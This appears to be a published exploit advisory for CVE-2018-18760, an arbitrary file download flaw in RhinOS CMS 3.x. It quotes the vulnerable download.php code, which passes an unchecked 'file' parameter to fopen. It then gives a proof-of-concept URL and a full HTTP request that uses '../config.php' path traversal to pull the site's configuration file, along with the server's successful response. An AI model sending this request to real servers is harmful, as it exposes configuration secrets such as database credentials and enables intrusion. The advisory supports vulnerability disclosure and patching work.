RhinOS CMS 3.x Arbitrary File Download

`# Exploit Title: RhinOS CMS 3.x - Arbitrary File Download  
# Dork: N/A  
# Date: 2018-10-29  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: http://www.saltos.org/  
# Software Link: https://netix.dl.sourceforge.net/project/rhinos/archived/r1190/RhinOS-en-3.0-1190.win32.exe  
# Version: 3.1 r0 / 3.x  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: CVE-2018-18760  
  
# Users...  
# C:/rhinos/demo/admin/php/download.php  
#....  
#26 $head=0;$main=0;$tail=0;  
#27 include("inicio.php");  
#28 if(!check_user()) die();  
#29 $name=getParam("name");  
#30 $file="files/".getParam("file");  
#31 $size=getParam("size");  
#32 $type=getParam("type");  
#33 if(!file_exists($file)) die();  
#34 header("Pragma: public");  
#35 header("Expires: 0");  
#36 header("Cache-Control: must-revalidate, post-check=0, pre-check=0");  
#37 header("Content-Type: $type");  
#38 header("Content-Length: $size");  
#39 header("Content-Disposition: attachment; filename=\"$name\"");  
#40 header("Content-Transfer-Encoding: binary");  
#41 $fp=fopen($file,"rb");  
#42 while(!feof($fp)) echo fread($fp,8192);  
#43 fclose($fp);  
#44 disconnect();  
#....  
  
# POC:   
# 1)  
# http://localhost/[PATH]/admin/inicio.php?include=php/download.php&name=efe.php&file=../config.php  
#   
GET /[PATH]/admin/inicio.php?include=php/download.php&name=efe.php&file=../config.php HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:50.0) Gecko/20100101 Firefox/50.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Cookie: remember=0; PHPSESSID=ek24koab445aab70seegi02lh3  
DNT: 1  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
HTTP/1.1 200 OK  
Date: Mon, 29 Oct 2018 00:23:54 GMT  
Server: Apache/2.2.16 (Win32) PHP/5.3.3  
X-Powered-By: PHP/5.3.3  
Expires: 0  
Cache-Control: must-revalidate, post-check=0, pre-check=0  
Pragma: public  
Content-Length: 1771  
Content-Disposition: attachment; filename="efe.php"  
Content-Transfer-Encoding: binary  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type:  
  
  
`